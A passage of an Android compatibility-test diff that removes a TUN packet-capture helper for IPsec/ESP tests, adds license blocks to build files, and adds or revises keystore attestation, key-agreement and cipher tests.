-    static final int IP4_ADDR_OFFSET = 12;
-    static final int IP4_ADDR_LEN = 4;
-    static final int IP6_ADDR_OFFSET = 8;
-    static final int IP6_ADDR_LEN = 16;
-
-    final List<byte[]> mPackets = new ArrayList<>();
-    private final ParcelFileDescriptor mTunFd;
-    private final Thread mReaderThread;
-
-    public TunUtils(ParcelFileDescriptor tunFd) {
-        mTunFd = tunFd;
-
-        // Start background reader thread
-        mReaderThread =
-                new Thread(
-                        () -> {
-                            try {
-                                // Loop will exit and thread will quit when tunFd is closed.
-                                // Receiving either EOF or an exception will exit this reader loop.
-                                // FileInputStream in uninterruptable, so there's no good way to
-                                // ensure that this thread shuts down except upon FD closure.
-                                while (true) {
-                                    byte[] intercepted = receiveFromTun();
-                                    if (intercepted == null) {
-                                        // Exit once we've hit EOF
-                                        return;
-                                    } else if (intercepted.length > 0) {
-                                        // Only save packet if we've received any bytes.
-                                        synchronized (mPackets) {
-                                            mPackets.add(intercepted);
-                                            mPackets.notifyAll();
-                                        }
-                                    }
-                                }
-                            } catch (IOException ignored) {
-                                // Simply exit this reader thread
-                                return;
-                            }
-                        });
-        mReaderThread.start();
-    }
-
-    private byte[] receiveFromTun() throws IOException {
-        FileInputStream in = new FileInputStream(mTunFd.getFileDescriptor());
-        byte[] inBytes = new byte[DATA_BUFFER_LEN];
-        int bytesRead = in.read(inBytes);
-
-        if (bytesRead < 0) {
-            return null; // return null for EOF
-        } else if (bytesRead >= DATA_BUFFER_LEN) {
-            throw new IllegalStateException("Too big packet. Fragmentation unsupported");
-        }
-        return Arrays.copyOf(inBytes, bytesRead);
-    }
-
-    byte[] getFirstMatchingPacket(Predicate<byte[]> verifier, int startIndex) {
-        synchronized (mPackets) {
-            for (int i = startIndex; i < mPackets.size(); i++) {
-                byte[] pkt = mPackets.get(i);
-                if (verifier.test(pkt)) {
-                    return pkt;
-                }
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Checks if the specified bytes were ever sent in plaintext.
-     *
-     * <p>Only checks for known plaintext bytes to prevent triggering on ICMP/RA packets or the like
-     *
-     * @param plaintext the plaintext bytes to check for
-     * @param startIndex the index in the list to check for
-     */
-    public boolean hasPlaintextPacket(byte[] plaintext, int startIndex) {
-        Predicate<byte[]> verifier =
-                (pkt) -> {
-                    return Collections.indexOfSubList(Arrays.asList(pkt), Arrays.asList(plaintext))
-                            != -1;
-                };
-        return getFirstMatchingPacket(verifier, startIndex) != null;
-    }
-
-    public byte[] getEspPacket(int spi, boolean encap, int startIndex) {
-        return getFirstMatchingPacket(
-                (pkt) -> {
-                    return isEsp(pkt, spi, encap);
-                },
-                startIndex);
-    }
-
-    public byte[] awaitEspPacketNoPlaintext(
-            int spi, byte[] plaintext, boolean useEncap, int expectedPacketSize) throws Exception {
-        long endTime = System.currentTimeMillis() + TIMEOUT;
-        int startIndex = 0;
-
-        synchronized (mPackets) {
-            while (System.currentTimeMillis() < endTime) {
-                byte[] espPkt = getEspPacket(spi, useEncap, startIndex);
-                if (espPkt != null) {
-                    // Validate packet size
-                    assertEquals(expectedPacketSize, espPkt.length);
-
-                    // Always check plaintext from start
-                    assertFalse(hasPlaintextPacket(plaintext, 0));
-                    return espPkt; // We've found the packet we're looking for.
-                }
-
-                startIndex = mPackets.size();
-
-                // Try to prevent waiting too long. If waitTimeout <= 0, we've already hit timeout
-                long waitTimeout = endTime - System.currentTimeMillis();
-                if (waitTimeout > 0) {
-                    mPackets.wait(waitTimeout);
-                }
-            }
-
-            fail("No such ESP packet found with SPI " + spi);
-        }
-        return null;
-    }
-
-    private static boolean isSpiEqual(byte[] pkt, int espOffset, int spi) {
-        // Check SPI byte by byte.
-        return pkt[espOffset] == (byte) ((spi >>> 24) & 0xff)
-                && pkt[espOffset + 1] == (byte) ((spi >>> 16) & 0xff)
-                && pkt[espOffset + 2] == (byte) ((spi >>> 8) & 0xff)
-                && pkt[espOffset + 3] == (byte) (spi & 0xff);
-    }
-
-    private static boolean isEsp(byte[] pkt, int spi, boolean encap) {
-        if (isIpv6(pkt)) {
-            // IPv6 UDP encap not supported by kernels; assume non-encap.
-            return pkt[IP6_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP6_HDRLEN, spi);
-        } else {
-            // Use default IPv4 header length (assuming no options)
-            if (encap) {
-                return pkt[IP4_PROTO_OFFSET] == IPPROTO_UDP
-                        && isSpiEqual(pkt, IP4_HDRLEN + UDP_HDRLEN, spi);
-            } else {
-                return pkt[IP4_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP4_HDRLEN, spi);
-            }
-        }
-    }
-
-    static boolean isIpv6(byte[] pkt) {
-        // First nibble shows IP version. 0x60 for IPv6
-        return (pkt[0] & (byte) 0xF0) == (byte) 0x60;
-    }
-
-    private static byte[] getReflectedPacket(byte[] pkt) {
-        byte[] reflected = Arrays.copyOf(pkt, pkt.length);
-
-        if (isIpv6(pkt)) {
-            // Set reflected packet's dst to that of the original's src
-            System.arraycopy(
-                    pkt, // src
-                    IP6_ADDR_OFFSET + IP6_ADDR_LEN, // src offset
-                    reflected, // dst
-                    IP6_ADDR_OFFSET, // dst offset
-                    IP6_ADDR_LEN); // len
-            // Set reflected packet's src IP to that of the original's dst IP
-            System.arraycopy(
-                    pkt, // src
-                    IP6_ADDR_OFFSET, // src offset
-                    reflected, // dst
-                    IP6_ADDR_OFFSET + IP6_ADDR_LEN, // dst offset
-                    IP6_ADDR_LEN); // len
-        } else {
-            // Set reflected packet's dst to that of the original's src
-            System.arraycopy(
-                    pkt, // src
-                    IP4_ADDR_OFFSET + IP4_ADDR_LEN, // src offset
-                    reflected, // dst
-                    IP4_ADDR_OFFSET, // dst offset
-                    IP4_ADDR_LEN); // len
-            // Set reflected packet's src IP to that of the original's dst IP
-            System.arraycopy(
-                    pkt, // src
-                    IP4_ADDR_OFFSET, // src offset
-                    reflected, // dst
-                    IP4_ADDR_OFFSET + IP4_ADDR_LEN, // dst offset
-                    IP4_ADDR_LEN); // len
-        }
-        return reflected;
-    }
-
-    /** Takes all captured packets, flips the src/dst, and re-injects them. */
-    public void reflectPackets() throws IOException {
-        synchronized (mPackets) {
-            for (byte[] pkt : mPackets) {
-                injectPacket(getReflectedPacket(pkt));
-            }
-        }
-    }
-
-    public void injectPacket(byte[] pkt) throws IOException {
-        FileOutputStream out = new FileOutputStream(mTunFd.getFileDescriptor());
-        out.write(pkt);
-        out.flush();
-    }
-
-    /** Resets the intercepted packets. */
-    public void reset() throws IOException {
-        synchronized (mPackets) {
-            mPackets.clear();
-        }
-    }
-}
diff --git a/tests/tests/jni/Android.bp b/tests/tests/jni/Android.bp
index 8165a9f..ddb21ce 100644
--- a/tests/tests/jni/Android.bp
+++ b/tests/tests/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsJniTestCases",
     defaults: ["cts_defaults"],
@@ -26,6 +30,7 @@
     static_libs: [
         "ctstestrunner-axt",
         "androidx.test.rules",
+        "compatibility-device-util-axt",
     ],
     jni_libs: [
         "libjni_test_dlclose",
diff --git a/tests/tests/jni/libjnicommon/Android.bp b/tests/tests/jni/libjnicommon/Android.bp
index 15756f6..3d22453 100644
--- a/tests/tests/jni/libjnicommon/Android.bp
+++ b/tests/tests/jni/libjnicommon/Android.bp
@@ -16,6 +16,10 @@
 // This is the shared library included by the JNI test app.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libjnicommon",
     srcs: ["common.cpp"],
diff --git a/tests/tests/jni/libjnitest/Android.bp b/tests/tests/jni/libjnitest/Android.bp
index d7206c4..de15f35 100644
--- a/tests/tests/jni/libjnitest/Android.bp
+++ b/tests/tests/jni/libjnitest/Android.bp
@@ -16,6 +16,10 @@
 // This is the shared library included by the JNI test app.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libjnitest",
     srcs: [
diff --git a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
index 4742796b..e2bbcd7 100644
--- a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
@@ -16,7 +16,9 @@
 
 package android.jni.cts;
 
+import android.os.Build;
 import android.os.Process;
+import com.android.compatibility.common.util.PropertyUtil;
 import java.io.File;
 import java.io.IOException;
 
@@ -317,9 +319,11 @@
      * dlopen(3) any of the public lib via file name (non-absolute path) should succeed.
      */
     public void test_dlopenPublicLibraries() {
-        String error = LinkerNamespacesHelper.runDlopenPublicLibraries();
-        if (error != null) {
-            fail(error);
+        if (PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.R)) {
+            String error = LinkerNamespacesHelper.runDlopenPublicLibraries();
+            if (error != null) {
+                fail(error);
+            }
         }
     }
 
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 6cd2441..0cab14b 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -82,7 +82,8 @@
     private final static String[] PUBLIC_ART_LIBRARIES = {
         "libicui18n.so",
         "libicuuc.so",
-        "libnativehelper.so"
+        "libnativehelper.so",
+        "libsigchain.so"
     };
 
     // The grey-list.
diff --git a/tests/tests/jvmti/attaching/Android.bp b/tests/tests/jvmti/attaching/Android.bp
index eb7f31f..2a6ce03 100644
--- a/tests/tests/jvmti/attaching/Android.bp
+++ b/tests/tests/jvmti/attaching/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsJvmtiAttachingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/jvmti/attaching/jni/Android.bp b/tests/tests/jvmti/attaching/jni/Android.bp
index 5e84b2c..6e02fe5 100644
--- a/tests/tests/jvmti/attaching/jni/Android.bp
+++ b/tests/tests/jvmti/attaching/jni/Android.bp
@@ -16,6 +16,10 @@
 // This is the shared library included by the JNI test app.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libjvmtiattachingtestagent1",
     gtest: false,
diff --git a/tests/tests/keystore/Android.bp b/tests/tests/keystore/Android.bp
index 0fa7cf7..b464826 100644
--- a/tests/tests/keystore/Android.bp
+++ b/tests/tests/keystore/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-keystore-user-auth-helper-library",
 
@@ -44,16 +48,16 @@
     ],
     static_libs: [
         "androidx.test.rules",
-        "core-tests-support",
         "compatibility-device-util-axt",
-        "ctstestrunner-axt",
-        "hamcrest-library",
-        "guava",
-        "junit",
-        "cts-security-test-support-library",
+        "core-tests-support",
         "cts-keystore-user-auth-helper-library",
-        "platformprotosnano",
+        "cts-security-test-support-library",
         "cts-wm-util",
+        "ctstestrunner-axt",
+        "guava",
+        "hamcrest-library",
+        "junit",
+        "platformprotosnano",
         "testng",
     ],
     srcs: ["src/android/keystore/**/*.java"],
diff --git a/tests/tests/keystore/src/android/keystore/cts/AttestKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/AttestKeyTest.java
new file mode 100644
index 0000000..d5d12f3
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/AttestKeyTest.java
@@ -0,0 +1,211 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import static android.keystore.cts.KeyAttestationTest.verifyCertificateChain;
+import static android.security.keystore.KeyProperties.KEY_ALGORITHM_EC;
+import static android.security.keystore.KeyProperties.PURPOSE_ATTEST_KEY;
+import static android.security.keystore.KeyProperties.PURPOSE_SIGN;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.security.keystore.KeyGenParameterSpec;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.security.GeneralSecurityException;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.KeyPairGenerator;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.cert.Certificate;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.stream.Stream;
+
+import javax.security.auth.x500.X500Principal;
+
+public class AttestKeyTest {
+    private static final String TAG = AttestKeyTest.class.getSimpleName();
+
+    private KeyStore mKeyStore;
+    private ArrayList<String> mAliasesToDelete = new ArrayList();
+
+    @Before
+    public void setUp() throws Exception {
+        mKeyStore = KeyStore.getInstance("AndroidKeyStore");
+        mKeyStore.load(null);
+
+        // Assume attest key support for all tests in this class.
+        assumeAttestKey();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        for (String alias : mAliasesToDelete) {
+            try {
+                mKeyStore.deleteEntry(alias);
+            } catch (Throwable t) {
+                // Ignore any exception and delete the other aliases in the list.
+            }
+        }
+    }
+
+    @Test
+    public void testEcAttestKey() throws Exception {
+        final String attestKeyAlias = "attestKey";
+
+        Certificate attestKeyCertChain[] = generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(attestKeyAlias, PURPOSE_ATTEST_KEY)
+                        .setAttestationChallenge("challenge".getBytes())
+                        .build());
+        assertThat(attestKeyCertChain.length, greaterThan(1));
+
+        final String attestedKeyAlias = "attestedKey";
+        Certificate attestedKeyCertChain[] = generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(attestedKeyAlias, PURPOSE_SIGN)
+                        .setAttestationChallenge("challenge".getBytes())
+                        .setAttestKeyAlias(attestKeyAlias)
+                        .build());
+        // Even though we asked for an attestation, we only get one cert.
+        assertThat(attestedKeyCertChain.length, is(1));
+
+        verifyCombinedChain(attestKeyCertChain, attestedKeyCertChain);
+
+        X509Certificate attestationCert = (X509Certificate) attestedKeyCertChain[0];
+        Attestation attestation = Attestation.loadFromCertificate(attestationCert);
+    }
+
+    @Test
+    public void testAttestationWithNonAttestKey() throws Exception {
+        final String nonAttestKeyAlias = "nonAttestKey";
+        final String attestedKeyAlias = "attestedKey";
+        generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(nonAttestKeyAlias, PURPOSE_SIGN).build());
+
+        try {
+            generateKeyPair(KEY_ALGORITHM_EC,
+                    new KeyGenParameterSpec.Builder(attestedKeyAlias, PURPOSE_SIGN)
+                            .setAttestationChallenge("challenge".getBytes())
+                            .setAttestKeyAlias(nonAttestKeyAlias)
+                            .build());
+            fail("Expected exception.");
+        } catch (InvalidAlgorithmParameterException e) {
+            assertThat(e.getMessage(), is("Invalid attestKey, does not have PURPOSE_ATTEST_KEY"));
+        }
+    }
+
+    @Test
+    public void testAttestKeyWithoutChallenge() throws Exception {
+        final String attestKeyAlias = "attestKey";
+        final String attestedKeyAlias = "attestedKey";
+        generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(attestKeyAlias, PURPOSE_ATTEST_KEY).build());
+
+        try {
+            generateKeyPair(KEY_ALGORITHM_EC,
+                    new KeyGenParameterSpec.Builder(attestedKeyAlias, PURPOSE_SIGN)
+                            // Don't set attestation challenge
+                            .setAttestKeyAlias(attestKeyAlias)
+                            .build());
+            fail("Expected exception.");
+        } catch (InvalidAlgorithmParameterException e) {
+            assertThat(e.getMessage(),
+                    is("AttestKey specified but no attestation challenge provided"));
+        }
+    }
+
+    @Test
+    public void testAttestKeySecurityLevelMismatch() throws Exception {
+        assumeStrongBox();
+
+        final String strongBoxAttestKeyAlias = "nonAttestKey";
+        final String attestedKeyAlias = "attestedKey";
+        generateKeyPair(KEY_ALGORITHM_EC,
+                new KeyGenParameterSpec.Builder(strongBoxAttestKeyAlias,
+                        PURPOSE_ATTEST_KEY).setIsStrongBoxBacked(true).build());
+
+        try {
+            generateKeyPair(KEY_ALGORITHM_EC,
+                    new KeyGenParameterSpec.Builder(attestedKeyAlias, PURPOSE_SIGN)
+                            .setAttestationChallenge("challenge".getBytes())
+                            .setAttestKeyAlias(strongBoxAttestKeyAlias)
+                            .build());
+            fail("Expected exception.");
+        } catch (InvalidAlgorithmParameterException e) {
+            assertThat(e.getMessage(),
+                    is("Invalid security level: Cannot sign non-StrongBox key with StrongBox "
+                            + "attestKey"));
+        }
+    }
+
+    private void assumeStrongBox() {
+        PackageManager packageManager =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        assumeTrue("Can only test if we have StrongBox",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_STRONGBOX_KEYSTORE));
+    }
+
+    private void assumeAttestKey() {
+        PackageManager packageManager =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        assumeTrue("Can only test if we have the attest key feature.",
+                packageManager.hasSystemFeature(PackageManager.FEATURE_KEYSTORE_APP_ATTEST_KEY));
+    }
+
+    private Certificate[] generateKeyPair(String algorithm, KeyGenParameterSpec spec)
+            throws NoSuchAlgorithmException, NoSuchProviderException,
+            InvalidAlgorithmParameterException, KeyStoreException {
+        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance(algorithm,
+                "AndroidKeyStore");
+        keyPairGenerator.initialize(spec);
+        keyPairGenerator.generateKeyPair();
+        mAliasesToDelete.add(spec.getKeystoreAlias());
+
+        return mKeyStore.getCertificateChain(spec.getKeystoreAlias());
+    }
+
+    private void verifyCombinedChain(Certificate[] attestKeyCertChain,
+            Certificate[] attestedKeyCertChain) throws GeneralSecurityException {
+        Certificate[] combinedChain = Stream
+                .concat(Arrays.stream(attestedKeyCertChain),
+                        Arrays.stream(attestKeyCertChain))
+                .toArray(Certificate[]::new);
+
+        int i = 0;
+        for (Certificate cert : combinedChain) {
+            Log.e(TAG, "Certificate " + i + ": " + cert);
+            ++i;
+        }
+
+        verifyCertificateChain((Certificate[]) combinedChain, false /* expectStrongBox */);
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index e3fbad5..c3a63f3 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -437,6 +437,7 @@
      */
     public void testEncryptsAndDecryptsInterrupted()
             throws Exception {
+
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
         final byte[] originalPlaintext = EmptyArray.BYTE;
@@ -546,8 +547,6 @@
                         KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT,
                         false, isUnlockedDeviceRequired, isUserAuthRequired)) {
                     try {
-                        // Encrypt the data with the device locked
-                        dl.performDeviceLock();
                         Key encryptionKey = key.getKeystoreBackedEncryptionKey();
                         byte[] plaintext = truncatePlaintextIfNecessary(
                                algorithm, encryptionKey, originalPlaintext);
@@ -569,8 +568,9 @@
                                    expectedPlaintext, modulusLengthBytes);
                         }
 
-                        // Then attempt to decrypt the data with the device still locked
-                        // This should fail.
+                        dl.performDeviceLock();
+
+                        // Attempt to decrypt the data with the device locked.
                         cipher = Cipher.getInstance(algorithm, provider);
                         assertFalse(isDecryptValid(expectedPlaintext, ciphertext, cipher, params, key));
 
@@ -930,7 +930,8 @@
                         fail("Unexpectedly produced ciphertext (" + ciphertext.length
                                 + " bytes): " + HexEncoding.encode(ciphertext) + " for "
                                 + plaintext.length + " byte long plaintext");
-                    } catch (IllegalBlockSizeException | BadPaddingException expected) {}
+                    } catch (IllegalBlockSizeException | BadPaddingException |
+                            ArrayIndexOutOfBoundsException expected) {}
 
                     // Encrypting this plaintext using the highest-priority implementation should
                     // fail.
@@ -1557,142 +1558,6 @@
         }
     }
 
-    public void testEntropyConsumption() throws Exception {
-        // Assert that encryption consumes the correct amount of entropy from the provided
-        // SecureRandom and that decryption consumes no entropy.
-
-        Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
-        assertNotNull(provider);
-
-        CountingSecureRandom rng = new CountingSecureRandom();
-        for (String transformation : EXPECTED_ALGORITHMS) {
-            for (ImportedKey key : importKatKeys(
-                    transformation,
-                    KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT,
-                    true)) {
-                try {
-                    Cipher cipher = Cipher.getInstance(transformation, provider);
-                    Key encryptionKey = key.getKeystoreBackedEncryptionKey();
-                    byte[] plaintext = truncatePlaintextIfNecessary(
-                            transformation, encryptionKey, new byte[32]);
-                    if (plaintext == null) {
-                        // Key too short to encrypt anything using this transformation.
-                        continue;
-                    }
-                    Arrays.fill(plaintext, (byte) 0x1);
-
-                    // Cipher.init may only consume entropy for generating the IV.
-                    rng.resetCounters();
-                    cipher.init(Cipher.ENCRYPT_MODE, encryptionKey, rng);
-                    int expectedEntropyBytesConsumedDuringInit;
-                    String keyAlgorithm = TestUtils.getCipherKeyAlgorithm(transformation);
-                    if (KeyProperties.KEY_ALGORITHM_AES.equalsIgnoreCase(keyAlgorithm)) {
-                        String blockMode =
-                                TestUtils.getCipherBlockMode(transformation).toUpperCase(Locale.US);
-                        // Entropy should consumed for IV generation only.
-                        switch (blockMode) {
-                            case "ECB":
-                                expectedEntropyBytesConsumedDuringInit = 0;
-                                break;
-                            case "CBC":
-                            case "CTR":
-                                expectedEntropyBytesConsumedDuringInit = 16;
-                                break;
-                            case "GCM":
-                                expectedEntropyBytesConsumedDuringInit = 12;
-                                break;
-                            default:
-                                throw new RuntimeException("Unsupported block mode " + blockMode);
-                        }
-                    } else if (KeyProperties.KEY_ALGORITHM_3DES.equalsIgnoreCase(keyAlgorithm)) {
-                        String blockMode =
-                                TestUtils.getCipherBlockMode(transformation).toUpperCase(Locale.US);
-                        // Entropy should consumed for IV generation only.
-                        switch (blockMode) {
-                            case "ECB":
-                                expectedEntropyBytesConsumedDuringInit = 0;
-                                break;
-                            case "CBC":
-                                expectedEntropyBytesConsumedDuringInit = 8;
-                                break;
-                            default:
-                                throw new RuntimeException("Unsupported block mode " + blockMode);
-                        }
-                    } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
-                        expectedEntropyBytesConsumedDuringInit = 0;
-                    } else {
-                        throw new RuntimeException("Unsupported key algorithm: " + transformation);
-                    }
-                    assertEquals(expectedEntropyBytesConsumedDuringInit, rng.getOutputSizeBytes());
-                    AlgorithmParameters params = cipher.getParameters();
-
-                    // Cipher.update should not consume entropy.
-                    rng.resetCounters();
-                    byte[] ciphertext = cipher.update(plaintext);
-                    assertEquals(0, rng.getOutputSizeBytes());
-
-                    // Cipher.doFinal may consume entropy to pad the message (RSA only).
-                    rng.resetCounters();
-                    ciphertext = TestUtils.concat(ciphertext, cipher.doFinal());
-                    int expectedEntropyBytesConsumedDuringDoFinal;
-                  if (KeyProperties.KEY_ALGORITHM_AES.equalsIgnoreCase(keyAlgorithm)
-                      || KeyProperties.KEY_ALGORITHM_3DES.equalsIgnoreCase(keyAlgorithm)) {
-                        expectedEntropyBytesConsumedDuringDoFinal = 0;
-                    } else if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
-                        // Entropy should not be consumed during Cipher.init.
-                        String encryptionPadding =
-                                TestUtils.getCipherEncryptionPadding(transformation);
-                        if (KeyProperties.ENCRYPTION_PADDING_RSA_OAEP.equalsIgnoreCase(
-                                encryptionPadding)) {
-                            int digestOutputSizeBits =
-                                    TestUtils.getDigestOutputSizeBits(TestUtils.getCipherDigest(
-                                            transformation));
-                            expectedEntropyBytesConsumedDuringDoFinal =
-                                    (digestOutputSizeBits + 7) / 8;
-                        } else if (encryptionPadding.equalsIgnoreCase(
-                                KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1)) {
-                            expectedEntropyBytesConsumedDuringDoFinal =
-                                    (TestUtils.getKeySizeBits(encryptionKey) + 7) / 8;
-                        } else if (encryptionPadding.equalsIgnoreCase(
-                                KeyProperties.ENCRYPTION_PADDING_NONE)) {
-                            expectedEntropyBytesConsumedDuringDoFinal = 0;
-                        } else {
-                            throw new RuntimeException(
-                                    "Unexpected encryption padding: " + encryptionPadding);
-                        }
-                    } else {
-                        throw new RuntimeException("Unsupported key algorithm: " + keyAlgorithm);
-                    }
-                    assertEquals(
-                            expectedEntropyBytesConsumedDuringDoFinal, rng.getOutputSizeBytes());
-
-                    // Assert that when initialization parameters are provided when encrypting, no
-                    // entropy is consumed by Cipher.init. This is because Cipher.init should only
-                    // use entropy for generating an IV which in this case no longer needs to be
-                    // generated because it's specified in the parameters.
-                    cipher = Cipher.getInstance(transformation, provider);
-                    rng.resetCounters();
-                    cipher.init(Cipher.ENCRYPT_MODE, encryptionKey, params, rng);
-                    assertEquals(0, rng.getOutputSizeBytes());
-                    Key decryptionKey = key.getKeystoreBackedDecryptionKey();
-                    rng.resetCounters();
-                    cipher = Cipher.getInstance(transformation, provider);
-                    cipher.init(Cipher.DECRYPT_MODE, decryptionKey, params, rng);
-                    assertEquals(0, rng.getOutputSizeBytes());
-                    rng.resetCounters();
-                    cipher.update(ciphertext);
-                    assertEquals(0, rng.getOutputSizeBytes());
-                    rng.resetCounters();
-                    cipher.doFinal();
-                    assertEquals(0, rng.getOutputSizeBytes());
-                } catch (Throwable e) {
-                    throw new RuntimeException(
-                            "Failed for " + transformation + " with key " + key.getAlias(), e);
-                }
-            }
-        }
-    }
-
     private AlgorithmParameterSpec getWorkingDecryptionParameterSpec(String transformation) {
         String keyAlgorithm = TestUtils.getCipherKeyAlgorithm(transformation);
         if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(keyAlgorithm)) {
@@ -1745,7 +1610,7 @@
         try {
             cipher.init(Cipher.DECRYPT_MODE, key, params);
             fail("InvalidKeyException should have been thrown");
-        } catch (InvalidKeyException expected) {}
+        } catch (InvalidKeyException | RuntimeException expected) {}
     }
 
     private void assertInitEncryptSucceeds(String transformation, KeyProtection importParams)
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAgreementTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAgreementTest.java
new file mode 100644
index 0000000..85e24b3
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAgreementTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import java.security.GeneralSecurityException;
+import java.security.InvalidKeyException;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+
+import javax.crypto.KeyAgreement;
+
+import junit.framework.TestCase;
+
+import org.junit.Assert;
+
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+public class KeyAgreementTest extends TestCase {
+    private static final String PRIVATE_KEY_ALIAS = "TemporaryPrivateKey";
+
+    public void testGenerateSecret_succeeds() throws Exception {
+        KeyAgreement ka = getKeyStoreKeyAgreement();
+        ka.init(generateEphemeralAndroidKeyPair(PRIVATE_KEY_ALIAS).getPrivate());
+        ka.doPhase(generateEphemeralServerKeyPair().getPublic(), true);
+        byte[] sharedSecret = ka.generateSecret();
+        assertNotNull(sharedSecret);
+    }
+
+    public void testGenerateSecret_forTwoParties_returnsSameSharedSecret() throws Exception {
+        KeyPair ourKeyPair = generateEphemeralAndroidKeyPair(PRIVATE_KEY_ALIAS);
+        KeyPair theirKeyPair = generateEphemeralServerKeyPair();
+
+        KeyAgreement ka = getKeyStoreKeyAgreement();
+        // Generate the shared secret with our own private key and the public key of the other party
+        ka.init(ourKeyPair.getPrivate());
+        ka.doPhase(theirKeyPair.getPublic(), true);
+        byte[] ourSharedSecret = ka.generateSecret();
+        // Generate the shared secret as if we were the other party
+        KeyAgreement otherKeyAgreement = KeyAgreement.getInstance("ECDH"); // Use default provider
+        otherKeyAgreement.init(theirKeyPair.getPrivate());
+        otherKeyAgreement.doPhase(ourKeyPair.getPublic(), true);
+        byte[] theirSharedSecret = otherKeyAgreement.generateSecret();
+
+        Assert.assertArrayEquals(ourSharedSecret, theirSharedSecret);
+    }
+
